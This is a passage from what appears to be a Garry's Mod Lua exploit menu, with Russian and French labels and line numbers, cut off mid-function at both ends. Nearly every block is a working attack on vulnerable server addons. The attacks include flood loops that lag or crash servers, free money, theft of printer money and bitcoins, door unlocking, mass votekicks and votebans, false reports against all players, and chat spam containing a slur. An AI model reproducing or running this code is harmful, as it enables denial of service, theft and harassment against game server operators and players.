7179net.WriteTable(tbl)
7180net.SendToServer()
7181--("promotion ;)")
7182end)
7183end
7184
7185-- TTT Bypass Report by daddy grampa
7186
7187local function CheckChild(pan)
7188local title = "You have been reported! Please answer all your reports."
7189if !pan || !IsValid(pan) then return end
7190if pan.GetTitle && pan:GetTitle() == title then
7191pan:Remove();
7192print("Removed warning box")
7193return
7194end
7195for k,v in pairs(pan:GetChildren()) do
7196if v.GetTitle && v:GetTitle() == title then
7197v:Remove();
7198print("Removed warning box")
7199return
7200end
7201if #v:GetChildren() > 0 then
7202CheckChild(v)
7203end
7204end
7205end
7206
7207if (engine.ActiveGamemode() == "terrortown") then
7208bypass = 0
7209CHATPRINT("Ðайден ÐкÑплоит: TTT Bypass Report")
7210addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
7211surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if (bypass == 0) then
7212hook.Add("Think", "remove_ttt_report", function()
7213local pan = vgui.GetHoveredPanel()
7214CheckChild(pan)
7215end)
7216--("Enabled Report Bypass")
7217bypass = 1
7218else
7219hook.Remove("Think", "remove_ttt_report")
7220--("Disabled Report Bypass")
7221bypass = 0
7222end
7223end)
7224end
7225
7226status = ValidNetString("EZS_PlayerTag")
7227if (status) then
7228CHATPRINT("Ðайден ÐкÑплоит: Лаггер #3 [EZS_PlayerTag]")
7229addExploit( "17","Crée Des Lags #3", "", function()
7230surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger3" ) then
7231timer.Create("lagger3", 0.5, 0, function()
7232for k, v in pairs(player.GetAll()) do
7233net.Start("EZS_PlayerTag",true)
7234net.WriteEntity(v)
7235net.WriteString("Seized")
7236net.SendToServer()
7237timer.Simple(2, function()
7238net.Start("EZS_PlayerTag",true)
7239net.WriteEntity(v)
7240net.WriteString("Seized")
7241net.SendToServer()
7242end)
7243end
7244end)
7245--("Lags Démarré")
7246else
7247timer.Remove("lagger3")
7248--("Lags Arreté")
7249end
7250end)
7251end
7252
7253if ConVarExists("advttt_spreadovertime_enabled") then
7254CHATPRINT("Ðайден ÐкÑплоит: Без отдачи")
7255addExploit( "18","NoSpread", "", function()
7256surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
7257--("Spread Removed")
7258end)
7259end
7260
7261status = ValidNetString("fp_as_doorHandler")
7262if (status) then
7263CHATPRINT("Ðайден ÐкÑплоит: Открыть Дверь | Закрыть дверь | Удалить владельца [fp_as_doorHandler]")
7264addExploit( "19","Ouvrir La Porte", "", function()
7265surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") net.Start("fp_as_doorHandler")
7266net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7267net.WriteString("unlock")
7268net.SendToServer()
7269--("Portes Ouverte")
7270end)
7271end
7272
7273status = ValidNetString("fp_as_doorHandler")
7274if (status) then
7275addExploit( "20","Fermer La Porte", "", function()
7276surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") net.Start("fp_as_doorHandler")
7277net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7278net.WriteString("lock")
7279net.SendToServer()
7280--("Portes Ouverte")
7281end)
7282end
7283
7284status = ValidNetString("fp_as_doorHandler")
7285if (status) then
7286addExploit( "21","Supprimer Le Propriétaire", "", function()
7287surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") local door = LocalPlayer():GetEyeTrace().Entity
7288local doorOwner = door:getDoorData()["owner"]
7289net.Start("fp_as_doorHandler")
7290net.WriteEntity(door)
7291net.WriteString("removeOwner")
7292net.WriteDouble(doorOwner)
7293net.SendToServer()
7294--("Portes Ouverte")
7295end)
7296end
7297
7298status = ValidNetString("VJSay")
7299if (status) then
7300CHATPRINT("Ðайден ÐкÑплоит: VJSay [OLD] [VJSay]")
7301addExploit( "22","VJSay [OLD]", "", function()
7302surface.PlaySound( "mat/pityclick.wav" ) inputFrame2Exists = true
7303inputFrame2 = vgui.Create( "DFrame" )
7304inputFrame2:SetTitle("Entrer votre message")
7305inputFrame2:SetSize( 400, 75 )
7306inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
7307inputFrame2:SetDraggable(true)
7308inputFrame2:ShowCloseButton(false)
7309inputFrame2:MakePopup()
7310inputFrame2.Paint = function( self, w, h )
7311DrawBlur(self, blur_effect:GetInt())
7312
7313draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0,230))
7314end
7315
7316local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
7317TextEntry2:SetSize( 380, 30 )
7318TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
7319TextEntry2:SetText( "Broadcast Msg" )
7320TextEntry2.OnEnter = function( self )
7321surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Broadcasting")
7322net.Start("VJSay")
7323net.WriteEntity(nil)
7324net.WriteString(TextEntry2:GetValue())
7325net.WriteString("")
7326net.SendToServer()
7327inputFrame2:SetVisible(false)
7328end
7329end)
7330end
7331
7332status = ValidNetString("ply_pick_shit")
7333if (status) then
7334CHATPRINT("Ðайден ÐкÑплоит: БеÑконечные деньги Ðмирит [ply_pick_shit]")
7335addExploit( "23","Argent Gratuite amirite", "", function()
7336surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k, v in pairs (player.GetAll()) do
7337for i = 1,255 do
7338net.Start("ply_pick_shit")
7339net.WriteEntity(LocalPlayer())
7340net.WriteEntity(v)
7341net.SendToServer()
7342end
7343end
7344--("Des thunes :^)")
7345end)
7346end
7347
7348status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
7349if (status) then
7350CHATPRINT("Ðайден ÐкÑплоит: Краш #2 [pac.net.TouchFlexes.ClientNotify]")
7351addExploit( "24","Crasher #2", "big lagz", function()
7352surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "crasher2" ) then
7353timer.Create("crasher2", 0, 0, function()
7354for i = 1, 400 do
7355net.Start("pac.net.TouchFlexes.ClientNotify")
7356net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
7357net.SendToServer()
7358end
7359end)
7360--("Starting Crasher")
7361else
7362timer.Remove("crasher2")
7363--("Stopping Crasher")
7364end
7365end)
7366end
7367
7368status = ValidNetString("BM2.Command.SellBitcoins")
7369if (status) then
7370CHATPRINT("Ðайден ÐкÑплоит: Продай Ñвои биткоины [BM2.Command.SellBitcoins]")
7371addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
7372surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
7373net.Start("BM2.Command.SellBitcoins")
7374net.WriteEntity(v)
7375net.SendToServer()
7376end
7377for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
7378net.Start("BM2.Command.SellBitcoins")
7379net.WriteEntity(v)
7380net.SendToServer()
7381end
7382for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
7383net.Start("BM2.Command.SellBitcoins")
7384net.WriteEntity(v)
7385net.SendToServer()
7386end
7387end)
7388end
7389
7390status = ValidNetString("BM2.Command.Eject")
7391if (status) then
7392CHATPRINT("Ðайден ÐкÑплоит: Лаггер #4 [BM2.Command.Eject]")
7393addExploit( "26","Crée Des Lags #4", "", function()
7394surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger4" ) then
7395timer.Create("lagger4", 0, 0, function()
7396for i = 1, 1000 do
7397net.Start("BM2.Command.Eject",true)
7398net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
7399net.SendToServer()
7400end
7401end)
7402--("Lags Démarré")
7403else
7404timer.Remove("lagger4")
7405--("Lags Arreté")
7406end
7407end)
7408end
7409
7410status = ValidNetString("BM2.Command.SellBitcoins")
7411if (status) then
7412CHATPRINT("Ðайден ÐкÑплоит: Лаггер #5 [BM2.Command.SellBitcoins]")
7413addExploit( "27","Crée Des Lags #5", "", function()
7414surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("lagger5", 0, 0, function()
7415for i=1,1000 do
7416net.Start("BM2.Command.SellBitcoins",true)
7417net.WriteEntity(LocalPlayer())
7418net.SendToServer()
7419end
7420end )
7421end )
7422end
7423
7424status = ValidNetString("ItemStoreUse")
7425if (status) then
7426CHATPRINT("Ðайден ÐкÑплоит: Лаггер #6 [ItemStoreUse]")
7427addExploit( "28","Crée Des Lags #6", "", function()
7428surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger6" ) then
7429timer.Create("lagger6", 0, 0, function()
7430for i = 1, 1000 do
7431net.Start("ItemStoreUse",true)
7432net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7433net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7434net.SendToServer()
7435end
7436end)
7437--("Lags Démarré")
7438else
7439timer.Remove("lagger6")
7440--("Lags Arreté")
7441end
7442end)
7443end
7444
7445status = ValidNetString("ItemStoreDrop")
7446if (status) then
7447CHATPRINT("Ðайден ÐкÑплоит: Лаггер #7 [ItemStoreDrop]")
7448addExploit( "29","Crée Des Lags #7", "", function()
7449surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger7" ) then
7450timer.Create("lagger7", 0, 0, function()
7451for i = 1, 1000 do
7452net.Start("ItemStoreDrop",true)
7453net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7454net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7455net.SendToServer()
7456end
7457end)
7458--("Lags Démarré")
7459else
7460timer.Remove("lagger7")
7461--("Lags Arreté")
7462end
7463end)
7464end
7465
7466status = ValidNetString("gMining.sellMineral")
7467if (status) then
7468CHATPRINT("Ðайден ÐкÑплоит: Лаггер #8 [gMining.sellMineral]")
7469addExploit( "30","Crée Des Lags #8", "", function()
7470surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7471if !timer.Exists( "lagger8" ) then
7472timer.Create("lagger8", 0, 0, function()
7473for i = 1, 1000 do
7474net.Start("gMining.sellMineral",true)
7475net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
7476net.WriteString(" ")
7477net.SendToServer()
7478end
7479end )
7480end
7481end )
7482end
7483
7484status = ValidNetString("PlayerUseItem")
7485if (status) then
7486CHATPRINT("Ðайден ÐкÑплоит: Лаггер #9 [PlayerUseItem]")
7487addExploit( "31","Crée Des Lags #9", "", function()
7488surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger9" ) then
7489timer.Create("lagger9", 0,0, function()
7490for i = 1, 800 do
7491net.Start("PlayerUseItem",true)
7492net.WriteInt(99999999999999999999999999999999999999999999999, 32)
7493net.SendToServer()
7494end
7495end)
7496--("Lags Démarré")
7497else
7498timer.Remove("lagger9")
7499--("Lags Arreté")
7500end
7501end)
7502end
7503
7504status = ValidNetString("RequestMAPSize")
7505if (status) then
7506CHATPRINT("Ðайден ÐкÑплоит: Лаггер #10 [RequestMAPSize]")
7507addExploit( "32","Crée Des Lags #10", "", function()
7508surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger10" ) then
7509timer.Create("lagger10", 0, 0, function()
7510for i = 1, 400 do
7511net.Start("RequestMAPSize",true)
7512net.SendToServer()
7513end
7514end)
7515--("Lags Démarré")
7516else
7517timer.Remove("lagger10")
7518--("Lags Arreté")
7519end
7520end )
7521end
7522
7523status = ValidNetString("MG2.Request.GangRankings")
7524if (status) then
7525CHATPRINT("Ðайден ÐкÑплоит: Лаггер #11 [MG2.Request.GangRankings]")
7526addExploit( "33","Crée Des Lags #11", "", function()
7527surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger11" ) then
7528timer.Create("lagger11", 0, 0, function()
7529for i = 1, 1000 do
7530net.Start("MG2.Request.GangRankings",true)
7531net.SendToServer()
7532end
7533end)
7534--("Lags Démarré")
7535else
7536timer.Remove("lagger11")
7537--("Lags Arreté")
7538end
7539end )
7540end
7541
7542status = ValidNetString("dLogsGetCommand")
7543if (status) then
7544CHATPRINT("Ðайден ÐкÑплоит: Лаггер #12 [dLogsGetCommand]")
7545addExploit( "34","Лаггер #12", "", function()
7546surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Lags Démarré")
7547for i=1,7000 do
7548net.Start("dLogsGetCommand",true)
7549net.WriteTable({ cmd = "+forward" , args = " " })
7550net.SendToServer()
7551end
7552end )
7553end
7554
7555status = ValidNetString("ats_send_toServer")
7556if (status) then
7557CHATPRINT("Ðайден ÐкÑплоит: Лаггер #13 [ats_send_toServer]")
7558addExploit( "35","Лаггер #13", "", function()
7559surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Lags Démarré")
7560for i=1,2000 do
7561net.Start("ats_send_toServer",true)
7562net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
7563net.SendToServer()
7564end
7565end )
7566end
7567
7568status = ValidNetString("shopguild_buyitem")
7569if (status) then
7570CHATPRINT("Ðайден ÐкÑплоит: ÐкÑплоит Гильдии [shopguild_buyitem]")
7571addExploit( "36","Exploit De Guildes", "", function()
7572surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") CHATPRINT("Guild level successfully upgraded")
7573local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
7574if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
7575net.Start("shopguild_buyitem")
7576net.WriteString("lvl")
7577net.WriteDouble(level)
7578net.WriteString("Guild Level "..level)
7579net.WriteEntity(LocalPlayer())
7580net.WriteUInt(2,4)
7581net.WriteDouble(0)
7582net.SendToServer()
7583level = level + 1
7584end )
7585end
7586
7587status = ValidNetString("VoteKickNO")
7588if (status) then
7589CHATPRINT("Ðайден ÐкÑплоит: Votekick [VoteKickNO]")
7590addExploit( "37","Votekick", "kicking all", function()
7591surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k,v in pairs(player.GetAll()) do
7592net.Start("VoteKickNO")
7593net.WriteFloat(v:EntIndex())
7594net.WriteFloat(6)
7595net.SendToServer()
7596net.Start("VoteKickNO")
7597net.WriteFloat(v:EntIndex())
7598net.WriteFloat(6)
7599net.SendToServer()
7600net.Start("VoteKickNO")
7601net.WriteFloat(v:EntIndex())
7602net.WriteFloat(6)
7603net.SendToServer()
7604net.Start("VoteKickNO")
7605net.WriteFloat(v:EntIndex())
7606net.WriteFloat(6)
7607net.SendToServer()
7608end
7609end )
7610end
7611
7612status = ValidNetString("VoteBanNO")
7613if (status) then
7614CHATPRINT("Ðайден ÐкÑплоит: Voteban [VoteBanNO]")
7615addExploit( "38","Voteban", "bans all", function()
7616surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k,v in pairs(player.GetAll()) do
7617net.Start("VoteBanNO")
7618net.WriteFloat(v:EntIndex())
7619net.WriteFloat(8)
7620net.SendToServer()
7621net.Start("VoteBanNO")
7622net.WriteFloat(v:EntIndex())
7623net.WriteFloat(8)
7624net.SendToServer()
7625net.Start("VoteBanNO")
7626net.WriteFloat(v:EntIndex())
7627net.WriteFloat(8)
7628net.SendToServer()
7629end
7630end )
7631end
7632
7633status = ValidNetString("NewReport")
7634if (status) then
7635CHATPRINT("Ðайден ÐкÑплоит: Репорт Бот [NewReport]")
7636addExploit( "39","Report Modifié", "", function()
7637surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k,v in pairs(player.GetAll()) do
7638net.Start("NewReport")
7639net.WriteType(ply)
7640net.WriteInt(8,5)
7641net.WriteString("hahaha")
7642net.SendToServer()
7643end
7644end )
7645end
7646
7647status = ValidNetString("Warn_CreateWarn")
7648if (status) then
7649CHATPRINT("Ðайден ÐкÑплоит: Warn Бот [Warn_CreateWarn]")
7650addExploit( "40","Warns Modifiés", "", function()
7651surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") for k,v in pairs(player.GetAll()) do
7652net.Start("Warn_CreateWarn")
7653net.WriteEntity(ply)
7654net.WriteString("hahaha")
7655net.SendToServer()
7656end
7657end )
7658end
7659
7660status = ValidNetString("showDisguiseHUD")
7661if (status) then
7662CHATPRINT("Ðайден ÐкÑплоит: МаÑкировка #2 [showDisguiseHUD]")
7663addExploit( "41","Déguisements #2", "", function()
7664surface.PlaySound( "mat/pityclick.wav" )
7665PlayerCount = 0
7666for k, v in pairs(player.GetAll()) do
7667PlayerCount = PlayerCount + 1
7668end
7669local TeamNum
7670local disguise_Model_Preview_Default
7671local BDMenu = vgui.Create("DFrame")
7672BDMenu:SetSize(300,420)
7673BDMenu:Center()
7674BDMenu:SetTitle(" ")
7675BDMenu:ShowCloseButton(false)
7676BDMenu:MakePopup()
7677function BDMenu:Paint()
7678DrawBlur(self, blur_effect:GetInt())
7679draw.RoundedBoxEx( 0, 0, 0, BDMenu:GetWide(), BDMenu:GetTall(), Color(20,20,20,200),false,true)
7680draw.RoundedBox( 5, 0, 0, 5, h, Color( 20, 20, 20, 60 ) )
7681draw.RoundedBox( 5, 0, 0, w, 5, Color( 20, 20, 20, 60 ) )
7682draw.RoundedBox( 5, w - 5, 0, 5, h, Color( 20, 20, 20, 60 ) )
7683draw.RoundedBox( 5, 0, h - 5, w, 5, Color( 20, 20, 20, 60 ) )
7684end
7685local ExitButton = vgui.Create("DButton", BDMenu)
7686ExitButton:SetPos(280,0)
7687ExitButton:SetText("X")
7688ExitButton:SetSize(20,20)
7689ExitButton:SetFont("Default")
7690ExitButton.Paint = function()
7691ExitButton:SetTextColor(Color(255,255,255,255))
7692if ExitButton:IsHovered() then
7693draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7694else
7695draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,0),false,true)
7696end
7697end
7698function ExitButton.DoClick()
7699BDMenu:Remove()
7700net.Start("changeToPhysgun")
7701net.SendToServer()
7702end
7703local DTeamChoice = vgui.Create("DComboBox", BDMenu)
7704DTeamChoice:SetSize(150, 22)
7705DTeamChoice:SetPos(75, 50)
7706DTeamChoice:SetValue("Choisi L'Emplois")
7707for k, v in pairs(team.GetAllTeams()) do
7708if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
7709end
7710DTeamChoice.OnSelect = function(panel, index, value)
7711for k,_ in pairs(team.GetAllTeams()) do
7712if value == team.GetName(k) then
7713for _, v in pairs(player.GetAll())do
7714if v:Team() == k then
7715TeamNum = v:Team()
7716disguise_Model_Preview_Default = v:GetModel()
7717end
7718end
7719end
7720end
7721timer.Create("RefreshModel", 0.1, 0, function()
7722local icon = vgui.Create( "DModelPanel", BDMenu )
7723icon:SetSize(300, 260)
7724icon:SetPos(-5, 80)
7725icon:SetFOV(68)
7726icon:SetModel( disguise_Model_Preview_Default )
7727timer.Simple(0.1, function()
7728icon:Remove()
7729end)
7730end)
7731local DisguiseButton = vgui.Create("DButton", BDMenu)
7732DisguiseButton:SetPos(BDMenu:GetWide()/2.5, 360)
7733DisguiseButton:SetSize(60,20)
7734DisguiseButton:SetText("Accepter")
7735DisguiseButton:SetFont("DermaDefaultBold")
7736function DisguiseButton:Paint()
7737if DisguiseButton:IsHovered() then
7738draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7739else
7740draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,255),false,true)
7741end
7742end
7743function DisguiseButton:DoClick()
7744NOTIFICATION("ÐкÑплойт запущен")
7745net.Start("SetPlayerModel")
7746if ChosenName == nil then
7747net.WriteString(LocalPlayer():Nick())
7748else
7749net.WriteString(ChosenName)
7750end
7751net.WriteUInt(TeamNum, 16)
7752net.SendToServer()
7753BDMenu:Close()
7754net.Start("changeToPhysgun")
7755net.SendToServer()
7756end
7757end
7758end
7759)
7760end
7761
7762status = ValidNetString("Chatbox_PlayerChat")
7763if (status) then
7764CHATPRINT("Ðайден ÐкÑплоит: Spam Chat [Chatbox_PlayerChat]")
7765addExploit( "42","Spam Chat", "", function()
7766surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") timer.Create("willoxchatspam", 1, 0, function()
7767net.Start("Chatbox_PlayerChat")
7768net.WriteEntity(LocalPlayer())
7769net.WriteBit(1)
7770net.WriteString("FAGGOTS")
7771net.WriteBit(1)
7772net.SendToServer()
7773end )
7774end )
7775end
7776
7777status = ValidNetString("BuilderXToggleKill")
7778if (status) then
7779CHATPRINT("Ðайден ÐкÑплоит: Убить пропом[BuilderXToggleKill]")
7780addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
7781surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7782for k, v in pairs(player.GetAll()) do
7783net.Start("BuilderXToggleKill")
7784net.WriteEntity(ply)
7785net.SendToServer()
7786end
7787end )
7788end
7789
7790status = ValidNetString("reports.submit")
7791if (status) then
7792CHATPRINT("Ðайден ÐкÑплоит: Зарепортить вÑех [reports.submit]")
7793addExploit( "44","Report Tout Le Monde", "", function()
7794surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7795for k,v in pairs(player.GetAll()) do
7796net.Start("reports.submit")
7797net.WriteEntity(v)
7798net.WriteInt(5, 8)
7799net.WriteString("SuckMyDick")
7800net.SendToServer()
7801end
7802end )
7803end
7804
7805status = ValidNetString("services_accept")
7806if (status) then
7807CHATPRINT("Ðайден ÐкÑплоит: Спам звонками в полицию [services_accept]")
7808addExploit( "45","Spam Services", "spam to all players", function()
7809surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7810timer.Create("serviceaccept", 0, 0, function()
7811for k,v in pairs(player.GetAll()) do
7812net.Start("services_accept")
7813net.WriteString("Sécurité En Carton - Seized By Pity")
7814net.WriteVector(Vector(v:GetPos()))
7815net.WriteString("test image")
7816net.WriteEntity(v)
7817net.SendToServer()
7818end
7819end )
7820timer.Simple(4, function()
7821timer.Destroy("serviceaccept")
7822end )
7823end )
7824end
7825
7826status = ValidNetString("lockpick_sound")
7827if (status) then
7828CHATPRINT("Ðайден ÐкÑплоит: Спам отмычкой [lockpick_sound]")
7829addExploit( "46","LockPick Spam Son", "", function()
7830surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7831timer.Create( "spamlockpicksound", 3, 0, function()
7832for k, v in pairs( player.GetAll() ) do
7833net.Start("lockpick_sound")
7834net.WriteEntity(v)
7835net.SendToServer()
7836end
7837end )
7838timer.Simple(4, function()
7839timer.Destroy("spamlockpicksound")
7840end )
7841end )
7842end
7843
7844status = ValidNetString("customprinter_get")
7845if (status) then
7846CHATPRINT("Ðайден ÐкÑплоит: Спиздить деньги Ñ Ð¿Ñ€Ð¸Ð½Ñ‚ÐµÑ€Ð¾Ð² [customprinter_get]")
7847addExploit( "47","Voler L'Argents Des Printers", "", function()
7848surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7849for k, v in pairs(ents.GetAll()) do
7850if v:GetClass():find("print") then
7851net.Start("customprinter_get")
7852net.WriteEntity(v)
7853net.WriteString("g_money")
7854net.SendToServer()
7855end
7856end
7857end )
7858end
7859
7860status = ValidNetString("InformPlayer")
7861if (status) then
7862CHATPRINT("Ðайден ÐкÑплоит: SimpleGrab Inform [InformPlayer]")
7863addExploit( "48","SimpleGrab Inform", "", function()
7864surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7865for k,v in pairs(player.GetAll()) do
7866for i = 0, 100 do
7867net.Start("InformPlayer")
7868net.WriteEntity(v)
7869net.SendToServer()
7870end
7871end
7872end )
7873end
7874
7875status = ValidNetString("pogcp_report_submitReport")
7876if (status) then
7877CHATPRINT("Ðайден ÐкÑплоит: Зарепортить вÑех #2 [pogcp_report_submitReport]")
7878addExploit( "49","Report Tout Le Monde #2", "", function()
7879surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7880for i = 0, 100 do
7881for k,v in pairs(player.GetAll()) do
7882net.Start("pogcp_report_submitReport")
7883net.WriteString("lol")
7884net.WriteString("88 Triggering :c")
7885net.WriteEntity(v)
7886net.SendToServer()
7887end
7888end
7889end )
7890end
7891
7892status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
7893if (status) then
7894CHATPRINT("Ðайден ÐкÑплоит: Убить мÑра [1942_Fuhrer_SubmitCandidacy]")
7895addExploit( "50","Candidature De Dictateur Instant", "", function()
7896surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7897net.Start("1942_Fuhrer_SubmitCandidacy")
7898net.WriteString(LocalPlayer():Nick())
7899net.SendToServer()
7900end )
7901end
7902
7903status = ValidNetString("FacCreate")
7904if (status) then
7905CHATPRINT("Ðайден ÐкÑплоит: Создать Fac [FacCreate]")
7906addExploit( "51","Fac Create", "old exploit", function()
7907surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7908timer.Create("fucklol", 1, 0, function()
7909net.Start("FacCreate")
7910net.WriteString("LOL " .. random_string(5))
7911net.WriteString("LOL " .. random_string(10))
7912net.WriteColor(random_color())
7913net.WriteBool(false)
7914net.WriteString(random_string(5))
7915net.SendToServer()
7916end )
7917end )
7918end
7919
7920status = ValidNetString("FactionInviteConsole")
7921if (status) then
7922CHATPRINT("Ðайден ÐкÑплоит: Инвайт во Фракцию [FactionInviteConsole]")
7923addExploit( "52","Faction Invite", "", function()
7924surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7925timer.Create("lovedarkexploitsxd", 1, 0, function()
7926for k, v in pairs(player.GetAll()) do
7927net.Start("FactionInviteConsole")
7928net.WriteEntity( ply )
7929net.WriteEntity(table.Random(player.GetAll()))
7930net.SendToServer()
7931end
7932end )
7933end )
7934end
7935
7936status = ValidNetString("WithdrewBMoney")
7937if (status) then
7938CHATPRINT("Ðайден ÐкÑплоит: БеÑконечные деньги #2 [WithdrewBMoney]")
7939addExploit( "53","Argent Gratuite #2", "Exploit Provenant De L'addon 'business'", function()
7940surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7941net.Start("WithdrewBMoney")
7942net.WriteInt(50000,32)
7943net.SendToServer()
7944end )
7945end
7946
7947status = ValidNetString("deathrag_takeitem")
7948if (status) then
7949CHATPRINT("Ðайден ÐкÑплоит: ПроÑтые предметы [deathrag_takeitem]")
7950addExploit( "54","Items Faciles", "collects money, weapons", function()
7951surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7952count = 0
7953for k, v in pairs( ents.GetAll() ) do
7954if v:GetClass() == "prop_ragdoll" then
7955count = count + 1
7956end
7957end
7958if count == 0 then
7959CHATPRINT("No items found")
7960else
7961CHATPRINT("Amount of items "..count)
7962end
7963for k, v in pairs( ents.GetAll() ) do
7964if v:GetClass() == "prop_ragdoll" then
7965for i=1,10 do
7966net.Start("deathrag_takeitem")
7967net.WriteEntity( v )
7968net.WriteInt(i,16)
7969net.SendToServer()
7970end
7971end
7972end
7973end )
7974end
7975
7976status = ValidNetString("REPPurchase")
7977if (status) then
7978CHATPRINT("Ðайден ÐкÑплоит: Хп И Ð±Ñ€Ð¾Ð½Ñ [REPPurchase]")
7979addExploit( "55","Heal & Armure", "armor and hp", function()
7980surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7981if LocalPlayer():Health() < 99 then
7982net.Start("REPPurchase")
7983net.WriteString("HEALTH")
7984net.SendToServer()
7985end
7986if LocalPlayer():Armor() < 99 then
7987net.Start("REPPurchase")
7988net.WriteString("ARMOR")
7989net.SendToServer()
7990end
7991end )
7992end
7993
7994status = ValidNetString("BTTTStartVotekick")
7995if (status) then
7996CHATPRINT("Ðайден ÐкÑплоит: Votekick #2 [BTTTStartVotekick]")
7997addExploit( "56","Votekick #2", "kick all noobs", function()
7998surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
7999for k,v in pairs(player.GetAll()) do
8000if v != LocalPlayer() then
8001net.Start("BTTTStartVotekick")
8002net.Start("_nonDBVMVote")
8003net.WriteEntity(v)
8004net.WriteString("")
8005net.WriteString("1")
8006net.SendToServer()
8007end
8008end
